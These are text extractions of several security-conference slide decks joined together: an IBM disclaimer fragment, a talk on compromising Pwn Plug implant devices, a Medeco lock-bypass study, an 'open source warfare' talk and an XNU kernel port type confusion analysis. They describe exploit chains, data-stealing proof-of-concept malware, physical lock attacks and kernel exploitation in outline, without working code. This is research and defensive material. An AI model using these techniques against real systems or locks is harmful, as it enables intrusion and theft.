s s c a n re s u lt in in fo rm a tio n b e in g a lte re d , d e s tro y e d , m is a p p ro p ria te d o r m is u s e d o r c a n re s u lt in d a m a g e to o r m is u s e o f y o u r s y s te m s , in c lu d in g fo r u s e in a tta c k s o n o th e rs . N o IT s y s te m o r p ro d u c t s h o u ld b e c o n s id e re d c o m p le te ly s e c u re a n d n o s in g le p ro d u c t, s e rv ic e o r s e c u rity m e a s u re c a n b e c o m p le te ly e ffe c tiv e in p re v e n tin g im p ro p e r u s e o r a c c e s s . IB M s y s te m s , p ro d u c ts a n d s e rv ic e s a re d e s ig n e d to b e p a rt o f a la w fu l, c o m p re h e n s iv e s e c u rity a p p ro a c h , w h ic h w ill n e c e s s a rily in v o lv e a d d itio n a l o p e ra tio n a l p ro c e d u re s , a n d m a y re q u ire o th e r s y s te m s , p ro d u c ts o r s e rv ic e s to b e m o s t e ffe c tiv e . IB M d o e s n o t w a rra n t th a t a n y s y s te m s , p ro d u c ts o r s e rv ic e s a re im m u n e fro m , o r w ill m a k e y o u r e n te rp ris e im m u n e fro m , th e m a lic io u s o r ille g a l c o n d u c t o f a n y p a rty . FOLLOW US ON: THANK YOU &	pdf
Pwn the Pwn Plug: Analyzing and Counter-Attacking Attacker-Implanted Devices Wesley McGrew Assistant Research Professor Mississippi State University Center for Computer Security Research McGrew Security [email protected] Introduction •Wesley McGrew •Breaking things, RE, forensics, etc. •Finally ﬁnished dissertation - Ph.D. •Assistant Research Professor •Mississippi State University •NSA CAE Cyber Operations •McGrewSecurity.com @McGrewSecurity Attacker-Implantable Devices Attacker-Implantable Devices •Malicious attackers/Penetration testers •How can you respond to one found in your organization? •What’re the implications of vulnerabilities in attack software/ hardware? Response •Identiﬁcation: Network/Physical •Found one! Response • Seizure, imaging, forensication • What info/systems has it compromised? • Attribution • Challenge: Procedures for embedded devices • Counter-attack • Ofﬂine & modify vs. attack in place • Monitor the attacker - Attribution/Motive • Turn it into a honeypot Pwning Pentesters •Implantable device: •Send it in to to do an internal test from comforts of “home” •Nerdy James Bond physical pentest payload •Re-used from test to test, client to client •(Not leaving it there, that thing’s expensive!) •Do you wipe it? (do you know how?) Pwning Pentesters •Put on your black hat. •Hacking a pentester’s implantable device: •In the ﬁeld •On the bench •All sorts of beneﬁts... Implications of Pwning Pentesters •Intercept: Let them do the work for you •Modify/Filter: Keep some of the results for yourself •Camouﬂage: Make your own attacks appear part of the test •Competitive Intel: Steal all the 0day •Gift that Keeps Giving: Do it again and again as tester reuses device between clients Difficulties Securing Implanted Attack Devices • By deﬁnition, out of your physical control • Small/weird platforms • Update procedure • Underlying attack software - Software Engineering Practices • Did it work? Push a release, move on • Proof of Concept code • Huge attack surface Security geeks can be easy targets A million bojillion Wireshark vulns Semantics makes it hard to use search engines to ﬁnd exploits in exploits and vulns in vuln tools Case Study: Pwn Plug Forensics & Counter-Attack Pwn Plug Forensics •Forensic acquisition of Pwn Plug •(explicit detail in whitepaper) •Create a bootable USB drive •Convince U-Boot to boot it •dd the root ﬁlesystem Pwn Plug Forensics •Analysis •UBIFS ﬁlesystem-level analysis limited •Compression •Can probably forget deleted ﬁles, etc. •mtd-utils for mounting the image •Attached storage - Normal procedures •More luck ﬁlesystem-level Pwn Plug Vuln/Exploit •plugui/Pwnix UI - Web interface for commercial version of the Pwn Plug Boring, but with their powers combined... XSS CSRF Command Injection (in a privileged interface) Boring, but with their powers combined... XSS CSRF Command Injection (in a privileged interface) Injected with a packet Boring, but with their powers combined... XSS CSRF Command Injection (in a privileged interface) Injected with a packet Payload Calls... Boring, but with their powers combined... XSS CSRF Command Injection (in a privileged interface) Injected with a packet Payload Calls... Submits... Boring, but with their powers combined... XSS CSRF Command Injection (in a privileged interface) Injected with a packet Payload Calls... Submits... We get remote root! (In some pretty realistic circumstances) Payload to exploit packet XSS in Passive Recon Page passes regexp to get to page XSS in Passive Recon Page passes regexp to get to page XSS Payload CSRF in the SSH tunnel page passes regexp to get to page XSS Payload CSRF’ing a form submission Command Injection in SSH tunnel script passes regexp to get to page XSS Payload CSRF’ing a form submission Command injection What do we run? •My PoC “malware”, pwnmon Cleans up after exploit Installs self Sets up persistence Disables bash history clearing Phones home for more code Every so often gathers: - Process list - Command history - File listing - Network interfaces - Network connections - All log ﬁles & results Wraps it up and sends it to your FTP server. Demo All the filez you need on the DVD + a floor-model Pwn Plug from the Vendor Area (or an unsuspecting friend’s) Conclusions •Attacker-implanted devices can provide good counter-intel info for organizations •For pentesters: •Know your tools, test your tools, use them safely •Monitor carefully and clean up •For people who break things: •Pentesting tools make great targets Join me in the Q&A room for questions and discussion	pdf
Open in 30 Seconds Cracking One of the Most Secure Locks in America Marc Weber Tobias Matt Fiddler LOCKS, LIES, and “HIGH” INSECURITY • Dominant high security lock maker • 40 year history of security • Many expert attempts to crack with limited success, complicated tools • Misstatements and disinformation • 18 month research project results: A Total compromise of security MEDECO HIGH SECURITY: • UL, BHMA / ANSI, VdS Certified • High level of protection against attack • Picking: 10-15 minute resistance • No bumping • Forced Entry: 5 minutes, minimum • Key control – Protect restricted and proprietary keyways – Stop duplication, replication, simulation of keys HIGH SECURITY LOCKS: • Protect Critical Infrastructure, high value targets • Stringent security requirements • High security Standards • Threat level is higher • Protect against Forced, Covert entry • Protect keys from compromise MEDECO HISTORY • Dominant high security lock maker in U.S. • Owns 70+ Percent of U.S. high security market for commercial and government • Major government contracts • In UK, France, Europe, South America • Relied upon for highest security everywhere • Considered almost invincible by experts WHY THE MEDECO CASE STUDY IS IMPORTANT • Insight into design of high security locks • Patents are no assurance of security • Appearance of security v. Real World • Undue reliance on Standards • Manufacturer knowledge and Representations • Methodology of attack • More secure lock designs CONVENTIONAL v. HIGH SECURITY LOCKS • CONVENTIONAL CYLINDERS – Easy to pick and bump open – No key control – Limited forced entry resistance • HIGH SECURITY CYLINDERS – UL and BHMA/ANSI Standards – Higher quality and tolerances – Resistance to Forced and Covert Entry – Key control ATTACK METHODOLOGY • Assume and believe nothing • Ignore the experts • Think “out of the box” • Consider prior methods of attack • Always believe there is a vulnerability • WORK THE PROBLEM – Consider all aspects and design parameters – Do not exclude any solution HIGH SECURITY LOCKS: Critical Design Issues • Multiple security layers • More than one point of failure • Each security layer is independent • Security layers operate in parallel • Difficult to derive intelligence about a layer HIGH SECURITY: Three Critical Design Factors • Resistance against forced entry • Resistance against covert and surreptitious entry • Key control and “key security” Vulnerabilities exist for each requirement BYPASS AND REVERSE ENGINEERING • Weakest link in lock to bypass (Medeco) • What locks the lock? • What locking elements lock and in what order. Is there a primary element to bypass? • Result if one layer fails: Can others be compromised? • What intelligence needed to open the lock? • Can Intelligence be simulated? SYSTEM BYPASS • How strong is the sidebar(s) against forced attack • Is the sidebar the only locking system? • What if defeat one of two sidebars or security layers? • Bitting design: spring biased? • Ability to manipulate each pin or slider to set its code? SECONDARY SECURITY LAYERS • Telescoping pins • Sliders and wafers • Sliders to set sidebars: Medeco • Pseudo-sidebars = virtual keyways • Sidebars – Most popular – Originated in America with GM locks – Many locking techniques LAYERS OF SECURITY AND BYPASS CAPABILITY • How many • Ability to exploit design feature? • Integrated • Separate – Primus = 2 levels, independent, complex locking of secondary finger pins – Assa = 2 levels, independent, simple locking, one level EXPLOITING FEATURES • Codes: design, progression • Key bitting design • Tolerances • Keying rules – Medeco master and non-master key systems • Interaction of critical components and locking systems • Keyway and plug design EXPLOITING TOLERANCES • Sidebar locking: Medeco 10 v. 20 degree • Relation to codes • Simulation of codes: Medeco • Reverse engineer code progression of system from one or more keys? – Master key conventional v. positional system – Difficulty = replication of keys – Medeco v. MCS as example ATTACKS: Two Primary Rules • “The Key never unlocks the lock” – Mechanical bypass • Alfred C. Hobbs: “If you can feel one component against the other, you can derive information and open the lock.” METHODS OF ATTACK: High Security Locks • Picking and manipulation of components • Impressioning • Bumping • Vibration and shock • Shim wire decoding (Bluzmanis and Falle) • Borescope and Otoscope decoding • Direct or indirect measurement of critical locking components ADDITIONAL METHODS OF ATTACK • Split key, use sidebar portion to set code • Simulate sidebar code • Use of key to probe depths and extrapolate • Rights amplification of key KEY CONTROL • High security requirement KEY CONTROL and “KEY SECURITY” • Duplicate • Replicate • Simulate “Key control” and “Key Security” may not be synonymous! KEY SECURITY: A Concept • Key control = physical control of keys • Prevent manufacture and access to blanks • Control generation of keys by code • Patent protection • Key security = compromise of keys – Duplication – Replication – Simulation KEYS: CRITICAL ELEMENTS • Length = number of pins/sliders/disks • Height of blade = depth increments = differs • Thickness of blade = keyway design • Paracentric design • Keyway modification to accommodate other security elements – Finger pins – Sliders KEY CONTROL: Critical issues • Simulation of code or key components • Security of locks = key control and key security – All bypass techniques simulate actions of key – Easiest way to open a lock is with the key KEY CONTROL and “KEY SECURITY” ISSUES • Most keys are passive: align = open • Simulate components of key • Replicate critical components • Duplicate critical components • Require interactive element for security – MUL-T-LOCK element – BiLock-NG, Everest Check Pins – MCS magnets KEY CONTROL: Design Issues • Bitting design • Bitting and sidebar issues and conflicts and limitations in differs • Ability to decode one or more keys to break system • Consider critical elements of the key: require to insure cannot be replicated • Hybrid attacks using keys – Medeco mortise cylinder example DUPLICATION AND REPLICATION OF KEYS • Key machine • Milling machine: Easy Entrie • Clay and Silicone casting • Key simulation: Medeco • Rights amplification • Alter similar keys COVERT and FORCED ENTRY RESISTANCE • High security requirement STANDARDS REQUIREMENTS • UL and BHMA/ANSI STANDARDS • TIME is critical factor – Ten or fifteen minutes – Depends on security rating • Type of tools that can be used • Must resist picking and manipulation • Standards do not contemplate or incorporate more sophisticated methods CONVENTIONAL PICKING TOBIAS DECODER: “[email protected]” SOPHISTICATED DECODERS • John Falle: Wire Shim Decoder DECODE PIN ANGLES FORCED ENTRY RESISTANCE FORCED ENTRY ATTACKS: Deficiencies in standards • Many types of attacks defined • Mechanical Bypass - Not Contemplated • Must examine weakest links • Do not cover “hybrid attacks” – Medeco deadbolt attacks – Medeco mortise attack SIDEBAR: Bypass and Circumvention • Direct Access – Decoding attacks – Manipulation – Simulate the sidebar code (Medeco) – Use of a key (Primus and Assa) • Indirect access – Medeco borescope and otoscope decode issues SIDEBAR ATTACK: Physical Strength • Independent protection • Integrated with pin tumblers or other critical locking components • Plug Compression • Defeat of sidebar as one security layer: result and failures • Anti-drill protection FORCED ENTRY ATTACKS • Direct compromise of critical components – Medeco deadbolt 1 and 2 manipulate tailpiece • Hybrid attack: two different modes – Medeco reverse picking • Defeat of one security layer: result – Medeco Mortise and rim cylinders, defeat shear line MEDECO HIGH SECURITY: Lessons to be learned • What constitutes security • Lessons for design engineers • Appearance v. reality MEDECO CASE HISTORY • Exploited vulnerabilities • Reverse engineer sidebar codes • Analyze what constitutes security • Analyze critical tolerances • Analyze key control issues • Analyze design enhancements for new generations of locks: Biaxial and m3 and Bilevel MEDECO MISTAKES • Failed to listen • Embedded design problems from beginning • Compounded problems with new designs with two new generations: Biaxial and m3 • Failed to “connect the dots” • Failure of imagination • Lack of understanding of bypass techniques DESIGN = VULNERABILITIES • Basic design: sidebar legs + gates – How they work: leg + gate interface – Tolerance of gates • Biaxial code designation • Biaxial pin design: aft position decoding • M3 slider: geometry • M3 keyway design • Deadbolt design MEDECO DESIGN: Exploit design vulnerabilities • EXPLOIT BEST DESIGN FEATURES • Sidebar leg – true gate channel • Code assignment: Biaxial 1985 • Gate – sidebar leg tolerance • M3 design 2003 – Widen keyway .007” – Slider geometry, .040” offset MEDECO DESIGNS: More vulnerabilities • Biaxial pin design: fore and aft positions • Borescope decode of aft angles • Introduction of Bilevel in 2006 • Compromise by decoding MEDECO TIMELINE • 1970 Original Lock introduced • 1985 Biaxial, Second generation • 2003 m3 Third generation August 2006: Bump Proof Feb 2007:Virtually BumpProof 2008: MEDECO LOCKS: Why are they Secure? • 2 shear lines and sidebar for Biaxial • 3 independent security layers: m3 • Pins = 3 rotation angles, 6 permutations • Physical pin manipulation difficult • False gates and mushroom pins • ARX special anti-pick pins • High tolerance MODERN PIN TUMBLER MEDECO BIAXIAL MEDECO LOCKS: 3 Independent Layers • Layer 1: PIN TUMBLERS to shear line • Layer 2: SIDEBAR: 3 angles x 2 positions • Layer 3: SLIDER – 26 positions Opened By; Lifting the pins to shear line Rotating each pin individually Moving the slider to correct position MEDECO TWISTING PINS: 3 Angles + 2 Positions MEDECO ROTATING TUMBLER SIDEBAR Technology • Block rotation of the plug • One or two sidebars • Primary or secondary locking • Only shear line or secondary • Integrated or separate systems – Assa, Primus , MT5 (M5), MCS= split – Medeco and 3KS = integrated • Direct or indirect relationship and access by key bitting SIDEBAR LOCKING: How does it work • One or two sidebars • Interaction during plug rotation • Direct or indirect block plug rotation • Sidebar works in which modes – Rotate left or right – Pull or push • Can sidebar be neutralized: i.e. Medeco – Setting sidebar code – Pull plug forward, not turn SIDEBAR LOCKING DESIGN: Information from the lock? • Feel picking: sense interactions • Medeco, 3KS, Primus, Assa = direct link • MCS = indirect link: sidebar to component • Sidebar + pins/sliders interaction to block each other: ability to apply torque? SIDEBAR CODING • Total number: real and theoretical • Restrictions and conflicts • Rules to establish • Can we use rules to break system – Medeco TMK multiple – Assa V10 multiplex coding SECURITY CONCEPTS: Sidebar “IS” Medeco Security • GM locks, 1935, Medeco re-invented • Heart of Medeco security and patents • Independent and parallel security layer • Integrated pin: lift and rotate to align • Sidebar blocks plug rotation • Pins block manipulation of pins for rotation to set angles PLUG AND SIDEBAR: All pins aligned SIDEBAR RETRACTED PLUG AND SIDEBAR: Locked MEDECO CODEBOOK: At the heart of security • All locksmiths worldwide must use • All non-master keyed systems • New codes developed for Biaxial in 1983 • Chinese firewall: MK and Non-MK • Codebook defines all sidebar codes ORIGINAL FORE AFT Left L K M Center C B D Right R Q S KEY CODES: Vertical Bitting and Sidebar • Vertical bitting = 6 depths .025” increments • Sidebar Pins: 3 angles, 2 positions = 6 permutations MEDECO RESEARCH: Results of Project • Covert and surreptitious entry in as little as 30 seconds: standard requires 10-15 minutes • Forced entry: four techniques, 30 seconds, affect millions of locks • Complete compromise of key control – Duplication, replication, simulation of keys – Creation of bump keys and code setting keys – Creation of top level master keys RESULTS OF PROJECT: Bumping • Reliably bump open Biaxial and m3 locks • Produce bump keys on Medeco blanks and simulated blanks • Known sidebar code • Unknown sidebar code MEDECO BUMP KEY RESULTS OF PROJECT: Key Control and Key Security • Total compromise of key control and key security, vital to high security locks – Duplicate, replicate, simulate keys for all m3 and some Biaxial keyways • Restricted keyways, proprietary keyways • Government and large facilities affected – Attack master key systems – Produce bump keys – Produce code setting keys SIMULATED BLANKS: Any m3 and Many Biaxial Locks SIMULATED BLANKS M3 SLIDER: Bypass with a Paper clip SECURITY OF m3: RESULTS OF PROJECT: Picking • Pick the locks in as little as 30 seconds • Standard picks, not high tech tools • Use of another key in the system to set the sidebar code • Pick all pins or individual pins • Neutralize the sidebar as security layer PICKING A MEDECO LOCK Video Demo: • Picking Medeco Locks RESULTS OF PROJECT: Decode Top Level Master Key • Determine the sidebar code in special system where multiple sidebar codes are employed to protect one or more locks • Decode the TMK • PWN the system RESULTS OF PROJECT: Forced Entry Techniques • Deadbolt attacks on all three versions – Deadbolt 1 and 2: 30 seconds – Deadbolt 3: New hybrid technique of reverse picking • Mortise and rim cylinders – Prior intelligence + simulated key • Interchangeable core locks DEADBOLT ATTACK DEADBOLT BYPASS: 2$ Screwdriver + $.25 materials Video Demo: • Deadbolt Bypass MORTISE CYLINDER MORTISE ATTACK Video Demo: • Mortise Cylinder Bypass CONNECTING THE DOTS • CRITICAL FAILURES • Original Biaxial – pin design – code assignment • Biaxial - m3 design – M3 slider geometry = .040” offset – Key simulation – .007” keyway widening MORE DOTS! • FORCED ENTRY • Original Deadbolt design • Fatal design flaw: 30 seconds bypass • Later deadbolt designs: new attacks • Mortise and rim cylinders • Inherent design problem: .065” plug MORE DOTS: BILEVEL LOCK • 2007 Bilevel locks introduced • Integrate low and high security to compete • Flawed design, will affect system security when integrated into high security system • Borescope decoding of aft pins to compromise security of entire system CONNECTING THE DOTS: The Results • Biaxial Code assignment: Reverse Engineer for all non-master key systems • Gate tolerance: 4 keys to open • NEW CONCEPT: Code Setting keys • Sidebar leg-gate interface: NEW CONCEPT: Setting sidebar code • M3 Wider keyway: Simulated blanks • Slider design: paper clip offset 4 KEYS TO THE KINGDOM Video Demo: • Code Setting Keys Video Demo: • Bump Proof… • Virtually Bump Proof… • Virtually Bump Resistant… LESSONS TO BE LEARNED • Patents do not assure security • Apparent security v. actual security • 40 years of invincibility means nothing • New methods of attack • Corporate arrogance and misrepresentation • “If it wasn’t invented here” mentality • All mechanical locks have vulnerabilities COUNTERMEASURES: Primary Design Rules • ARX pin design • Dual State Locking: 3KS • Interactive key elements (MCS) • 2 or 3 security layers • No direct intelligence from manipulation • Cannot defeat one layer and bypass others Video Demo • Bypass…Medeco Gen4 Thank You! [email protected] [email protected] © 2008 Marc Weber Tobias	pdf
30-Jun-08 Defcon16 2008 1 Open Source Warfare Origins Use Transformations Day Three: Sunday, August 10 10:30 am Track 3 30-Jun-08 Defcon16 2008 2 …Oh my…. What is Asymmetric Warfare •Is it purely defensive •Does it rely on traditional concepts •How does an established fighting group use it •Does it overlap with other computer security issues Gosh…. What is Open Source Warfare •Who uses it •Who is it used against •Are there any defenses •Is it successful •Where is it used 30-Jun-08 Defcon16 2008 3 Warnings A few things to remember: • Although this stuff in very interesting it is used primarily in warfare….that means people actually die • If you think you’re smart enough to try this on your own you are wrong! …and you could go to jail…. • Because of all this we will keep the examples simple, well known and generic… • Importantly, this is a value neutral technical presentation: that means that we’ll only look at techniques and not evaluate whether the people using these methods are “right” or “wrong”, “justified” or “unjustified” 30-Jun-08 Defcon16 2008 4 What types of things are used in OSW • In a funny way this is a lot like McGyver • Almost anything can be used…toothpicks, tin foil, matchbooks, string….. • But on the contemporary battlefield it depends more heavily on things like mobile phones, microwave ovens, remote controlled aircraft, toy robots, digital cameras, sniffer tools 30-Jun-08 Defcon16 2008 5 Let’s look at telecommunications • Lebanon is a good example – You may remember a few months ago that there was tremendous upset when the government attempted to quash third-party telecommunications networks – In fact, it led to major fighting in the street – To complicate matters the country also faces a number of external forces, Syria, Iran, Israel – As well as a number of internal forces 30-Jun-08 Defcon16 2008 6 Let’s look at telecommunications • So what was the problem – Third party groups had co-opted the telecom network set up by the government • This was accomplished by “extending” copper networks • Creating new optical networks • Piggybacking on Mobile networks – This also required technical knowledge as well as a heavy reliance on openly available public encryption, VOIP, chat room, message boards, anon email etc. communication methods – So big did this become that it pretty much became an unsolvable issue for the government 30-Jun-08 Defcon16 2008 7 So, let’s take a look at this map with overlays: •First we see the regional context •Next lets look at the geographic issues •Now, the overlays of the networks (click, click) •Secondly, lets look at why it was so difficult for these networks to be eliminated •Thirdly, lets look at why publically available software/hardware tools have been so essential to the “success or failure” of the parties •Finally, a word about undersea cables disruptions COMPLETE VIEW: DEFCON ONLY 30-Jun-08 Defcon16 2008 8 Variants of this: Las Vegas • Let’s look at the concept of triangulation • Here’s a pretty picture of Las Vegas: COMPLETE VIEW: DEFCON ONLY 30-Jun-08 Defcon16 2008 9 Variants of this: Las Vegas • Now, let’s see it as a “protocol” map (click, click) • This is all open source! COMPLETE VIEW: DEFCON ONLY 30-Jun-08 Defcon16 2008 10 Variants of this: Las Vegas • How do we triangulate? • You can run but you can’t hide • Now let’s think of this picture as a battlefield – We’ll add some conceptual drones – And figure out how to target an individual or group – Note: this is a very useful method already employed – think in terms of sniffer networks, GPS networks, geo- location web 2.0 tricks • IT’S ALL ABOUT THE MATH!!!!! 30-Jun-08 Defcon16 2008 11 Open Source Platform • Let’s take a look at OS surveillance platforms • Here is a series of pictures of a RC helicopter with HD cam (next slide, pics only provided live at Defcon 16) • Range: 2000 ft, 1 mile radius, 20 min battery life, encrypted com link • Price $400.00 off the shelf • (no, I don’t have the vendors name, sorry) 30-Jun-08 Defcon16 2008 12 A quick look at OS uses in the field • Microwaves, IEDs, and the battle space • Robotics at Ground Zero, Sept 2001 • Defeating LED and surveillance cameras – Quick word on a counter measures • The mobile phone quandary – And the jamming quandary 30-Jun-08 Defcon16 2008 13 A quick look at OS derivates • Defcon 15 presentation regarding GPS device hacking – Here’s a simulation example • Defcon 14 presentation regarding rocketry – Here’s a simulation example – And here is an open source example of how model rockets utilize telemetry for guidance – (yikes!) 30-Jun-08 Defcon16 2008 14 And Finally • Overview of “mass-communication” methods meant to influence a populace – Prep for a pending “attack” – Mass influence techniques – Reliance upon the “hacker” community for tools and methodology – Utilizing existing structures (e.g. social networks) for influence (good or ill) – Setting up a “Zeitgeist” scenario for influence 30-Jun-08 Defcon16 2008 15 Thank you • Since this is a very brief presentation feel free to contact me after this for any additional input • Thanks again!!!	pdf
Exploitations of XNU Port Type Confusions Tielei Wang The background Background of the talk iOS 14.2, released on Nov 5, 2020, ﬁxed an in-the-wild exploit reported by Google Project 0. First in-the-wild exploit since iOS 14 (?) Safari RCE (CVE-2020-27930) kernel info leak (CVE-2020-27950) kernel type confusion (CVE-2020-27932) Background of the talk • While analyzing CVE-2020-27932, we discovered a new variant issue in the XNU kernel - a port type confusion vulnerability • We analyzed the root cause of the vulnerability at Zer0Con 2021, and presented a way to gain the root privilege on macOS Big Sur on Apple Silicon M1 • Today: share more attempts to exploit the port type confusion issue A brief introduction of Mach ports • XNU - X is Not Unix • Mach • BSD • IOKits A brief introduction of Mach ports • XNU - X is Not Unix Hybrid kernel • Mach • BSD • IOKits ☜ A brief introduction of Mach ports • XNU - X is Not Unix Hybrid kernel • Mach Microkernel • BSD • IOKits ☜ ☜ A brief introduction of Mach ports • XNU - X is Not Unix Hybrid kernel • Mach Microkernel • BSD • IOKits ☜ ☜ A fundamental design: Inter-process communication (IPC) A brief introduction of Mach ports • XNU - X is Not Unix Hybrid kernel • Mach Microkernel • BSD • IOKits ☜ ☜ A fundamental design: Inter-process communication (IPC) Mach Port Mach port vs UNIX ﬁle Userspace integer integer Usage mach_msg_send mach_msg_receive write read Permissions send right receive right send-once right O_RDONLY O_WRONLY O_RDWR NameSpace per-task per-proc Kernel struct ipc_port struct ﬁleproc Opaque objects task, thread, voucher… vnode, socket, device… Mach ports are far more complicated and powerful! • A mach port is a kernel-maintained message queue • multiple sender, single receiver • Mach messages can carry both port rights, memory, and inline raw data Body optional mach_msg__descriptor Header Destination Port Rights Memory Inline data ☜ Transfer port send/recv rights to destination Mach ports are far more complicated and powerful! • While sending a message to a port, the kernel either appends the message to the queue, or directly handles the message sent to the kernel objects ipc_port mach_msg_send mach_msg_receive ipc_mqueue Kernel Userspace mach_msg_send Kernel Objects ipc_mqueue_send ipc_port at ﬁrst glance kobject io_lock_data ipc_port io_references io_bits … … ☜ The type info of the port ☜ The nullable kernel object behind the port Review port’s io_bits Review port’s io_bits 0x80000000 e.g., a regular port’s io_bits IO_BITS_ACTIVE Review port’s io_bits 0x8000081d e.g., a userclient port’s io_bits IO_BITS_ACTIVE IO_BITS_KOBJECT IKOT_IOKIT_CONNECT Review port’s io_bits 0x80000825 e.g., a voucher port’s io_bits IO_BITS_ACTIVE IO_BITS_KOBJECT IKOT_VOUCHER Task task_suspend, task_resume, task_set_exception_ports task_get_exception_ports, thread_create Thread thread_set_state, thread_suspend thread_resume Memory mach_vm_read, mach_vm_write mach_vm_allocate, mach_vm_protect IOKit IOConnectCallMethod Host host_info, host_get_io_master, host_processors Processor processor_info, processor_control, processor_assign Misc Clock/voucher/semaphore Powerful interfaces Getting a send right to the (fake) kernel_task has been used for a long time in jailbreak developments Powerful interfaces Other outdated tricks: based on ROP-based code execution in a system service, sending the service’s task/thread ports, or creating an IOKit userclient, and sending them back to the attacker process Task task_suspend, task_resume, task_set_exception_ports task_get_exception_ports, thread_create Thread thread_set_state, thread_suspend thread_resume Memory mach_vm_read, mach_vm_write mach_vm_allocate, mach_vm_protect IOKit IOConnectCallMethod Host host_info, host_get_io_master, host_processors Processor processor_info, processor_control, processor_assign Misc Clock/voucher/semaphore The IPC, send rights, and more ☞ Task inherits the send rights to a few special ports from its parent. Task Host I/O master 1. host_get_io_master 2. send right to I/O master 3. IOServiceGetMatchingService IOService 4. send right to IOService object 5. IOServiceOpen IOUserClient 6. send right to IOUserClient 7. IOConnectCallMethod ☜ Newly created kernel object Get the send rights via task_get_special_port() The IPC, send rights, and more ☞ launch is in charge of the bootstrap port Task Launchd 1. bootstrap_lookup Service 2.send right to the service 3. IPC channel to the service Where is the sandbox? Task Launchd 1. bootstrap_lookup Service 2.send right to the service 3. IPC channel to the service ☜ Launchd should check whether the task is allowed to talk with the services. So how? IPC Sandbox in Launchd ☜ The kernel adds a trailer to indicate the auditing information of the sender Body optional mach_msg__descriptor Header Trailer IPC Sandbox in Launchd Inside the audit_token, launchd can get the information including pid/p_idversion, and then perform a sandbox check according to pid and p_idversion. ☜ The mach message carries a trailer Task Launchd 1. bootstrap_lookup Service 2.send right to the service 3. IPC channel to the service Kernel (Sandbox extension) ☜ Query the kernel with pid/p_idversion No-more-senders (NMS) notiﬁcation Task Host I/O master 1. host_get_io_master 2. send right to I/O master 3. IOServiceGetMatchingService IOService 4. send right to IOService object 5. IOServiceOpen IOUserClient 6. send right to IOUserClient 7. IOConnectCallMethod ☜ Per-task kernel object ☜ Permanent kernel object No-more-senders (NMS) notiﬁcation Task Host I/O master 1. host_get_io_master 2. send right to I/O master 3. IOServiceGetMatchingService IOService 4. send right to IOService object 5. IOServiceOpen IOUserClient 6. send right to IOUserClient 7. IOConnectCallMethod ☜ Per-task kernel object ☜ Permanent kernel object Consider such a scenario: when a task is terminated accidentally, how to clean up the kernel objects? No-more-senders (NMS) notiﬁcation • The kernel object can register for no- more-senders notiﬁcation (IPC_KOBJECT_ALLOC_NSREQUEST) • When there are no longer any tasks which hold a send right to this kernel object, the kernel would send the no- more-senders notiﬁcation message to the port. As a result, the kernel can deallocate/destroy the corresponding kernel object. Only the kernel can send NMS • In the past, Ian beer found a lot of bugs due to spoofed NMS • Now the ipc_kobject_notify only handles mach message with the kernel tokens The bug https://github.com/wangtielei/Slides/blob/main/zer0con21.pdf XNU has many optimizations to boost IPC CVE-2020-27932 is caused by special reply ports Special reply port • Normally, when a thread traps into the kernel to receive mach messages, its priority will be decreased • Assume a higher priority thread sends a mach message to a service, and would receive a reply latter. When receiving the reply, the thread doesn’t want to lose its priority, because highly likely the reply is already on the queue. • This is how the “special reply port” comes. Receiving messages from a special reply port should not decrease the thread priority. How to use special reply ports? Sample Code from XNU source code A customized send • Send a mach port msg_port via a complex mach message to send_port with reply port reply_port • A few things to note • msg_port is sent with MACH_MSG_TYPE_MOVE_RECEIVE • mach_msg uses the option MACH_SEND_SYNC_OVERRIDE We found a new panic while analyzing CVE-2020-27932 dst_port became inactive! ☜ send special_reply_port to itself, use itself as reply port send a null port to ☞ dst_port, use special_reply_port as reply port ☞ receive from dst_port Root cause analysis ipc_port_link_special_reply_port ipc_kmsg_copyin_header ipc_kmsg_copyin mach_msg_overwrite_trap ipc_kmsg_set_qos ipc_port_link_special_reply_port Root cause analysis ipc_port_link_special_reply_port kdata.sync_inheritor_port … special_reply_port io_references dst_port io_bits io_references io_bits Root cause analysis The second send is very complicated, but there are three key steps Root cause analysis 1. msg_port is sent with MACH_MSG_TYPE_MOVE_RECEIVE ipc_kmsg_copyin_body ipc_kmsg_copyin mach_msg_overwrite_trap ipc_kmsg_copyin_port_descriptor ipc_object_copyin ipc_right_copyin special_reply_port’s ip_tempowner is set 1 Root cause analysis 2. sending a port to itself will trigger a circularity check the kmsg is set with MACH_MSGH_BITS_CIRCULAR ipc_kmsg_copyin_body ipc_kmsg_copyin mach_msg_overwrite_trap ipc_kmsg_copyin_port_descriptor ipc_port_check_circularity Root cause analysis 2. sending a port to itself will trigger a circularity check ipc_kmsg_destroy ipc_kmsg_send mach_msg_overwrite_trap the kmsg gets destroyed due to the circularity check Root cause analysis 3. destroying the kmsg leads to msg_port destruction ipc_kmsg_clean_body ipc_kmsg_clean ipc_kmsg_destroy ipc_object_destroy ipc_port_release_receive ipc_port_destroy ipc_port_destroy • How to destroy the special_reply_port? There is a simpliﬁed version! kdata.sync_inheritor_port kdata.ip_imp_task … special_reply_port io_references dst_port io_bits io_references io_bits ip_tempowner=1 ☜ kdata is a union What happened? • How to destroy the special_reply_port? There is a simpliﬁed version! kdata.sync_inheritor_port kdata.ip_imp_task … special_reply_port io_references dst_port io_bits io_references io_bits ip_tempowner=1 ipc_importance_task_release(dst_port)! ipc_importance_task_release A type confusion between ipc_port and ipc_importance_task_t! Consequence of the type confusion • ipc_importance_task_release leads to iie_bits decrement io_references dst_port io_bits iie_made ipc_importance_task_t iie_bits ipc_importance_task_release(dst_port) leads to decrement of dst_port’s io_bits How the panic happened IO_BITS_ACTIVE 0x80000000 /* is object alive? / kdata.sync_inheritor_port kdata.ip_imp_task … special_reply_port io_references dst_port 0x80000000 io_references io_bits ip_tempowner=0 kdata.sync_inheritor_port kdata.ip_imp_task … special_reply_port io_references dst_port 0x80000000 io_references io_bits ip_tempowner=1 How the panic happened kdata.sync_inheritor_port kdata.ip_imp_task … special_reply_port io_references dst_port 0x7fffffff io_references io_bits ip_tempowner=1 How the panic happened destroyed by ipc_port_destroy io_bits decrement due to the type confusion kdata.sync_inheritor_port kdata.ip_imp_task … special_reply_port io_references dst_port 0x7fffffff io_references io_bits ip_tempowner=1 How the panic happened trigger the inactive port panic io_bits decrement due to the type confusion Now forget about the vulnerability, just remember: A short wrap-up this piece of code will decrease dst_port’s io_bits by 1 Decrease More! this piece of code will decrease dst_port’s io_bits from from to to. e.g., change a voucher port to a userclient port, and use it as a userclient port The exploits Recall our pool Roughly speaking, we can change port types from higher to lower, and then confuse kernel objects from the higher to the lower Limitations • Some port types are not implemented in the kernel • e.g., IKOT_XMM_ • convert_port_to_* may have extra checks on the kernel 